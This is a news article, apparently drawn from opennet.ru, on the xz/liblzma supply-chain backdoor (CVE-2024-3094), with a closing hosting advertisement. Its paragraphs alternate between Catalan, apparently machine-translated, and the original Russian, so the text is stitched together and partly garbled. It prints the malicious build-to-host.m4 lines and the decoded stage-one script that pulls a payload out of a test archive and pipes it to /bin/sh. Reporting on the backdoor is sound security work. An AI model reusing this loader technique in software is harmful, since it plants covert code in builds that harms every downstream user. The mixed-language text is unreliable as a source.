S'ha descobert una porta posterior a la biblioteca xz/liblzma que permet l'entrada mitjançant sshd

En el paquet XZ Utils, que inclou la biblioteca liblzma i les utilitats per treballar amb dades comprimides en format “.xz”, s'ha identificat una porta posterior (CVE-2024-3094) que permet la intercepció i modificació de les dades processades per les aplicacions associades. amb la biblioteca liblzma. L'objectiu principal de la porta del darrere és el servidor OpenSSH, que en algunes distribucions s'inclou amb la biblioteca libsystemd, que al seu torn utilitza liblzma. Enllaçar sshd amb una biblioteca vulnerable permet als atacants accedir al servidor SSH sense autenticació.

Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.

El codi d'activació de la porta del darrere es va amagar a les macros m4 del fitxer build-to-host.m4 utilitzat pel conjunt d'eines automake durant la creació. Durant el muntatge, durant l'execució d'operacions ofuscades intricades basades en arxius (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilitzats per provar la correcció del funcionament, es va generar un fitxer objecte amb codi maliciós, que es va incloure a la biblioteca liblzma i va canviar la lògica de funcionament algunes de les seves funcions. Les macros m4 que activen la porta posterior es van incloure a les tarballs de llançament, però no estaven al repositori Git. Al mateix temps, arxius de proves maliciosos estaven presents al repositori, és a dir. la persona que va implementar la porta posterior tenia accés tant al repositori com als processos de generació de llançaments.

Quan s'utilitza liblzma a les aplicacions, es podrien utilitzar canvis maliciosos per interceptar o modificar dades, o afectar el funcionament de sshd. En particular, el codi maliciós va falsificar la funció RSA_public_decrypt per evitar el procés d'autenticació sshd. La porta del darrere incloïa protecció contra la detecció i no es va manifestar quan es van establir les variables d'entorn LANG i TERM (és a dir, quan s'executava el procés al terminal) i les variables d'entorn LD_DEBUG i LD_PROFILE no es van establir, i també es va activar només quan s'executava el /usr/sbin/sshd fitxer executable . La porta posterior també tenia un mitjà per detectar l'execució en entorns de depuració.

En particular, el fitxer m4/build-to-host.m4 va utilitzar gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 — Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки «-fsanitize=address», что привело к его отключению при fuzzing-тестировании.

Font: opennet.ru

Compreu allotjament fiable per a llocs amb protecció DDoS, servidors VPS VDS 🔥 Compra allotjament web fiable amb protecció DDoS, servidors VPS VDS | ProHoster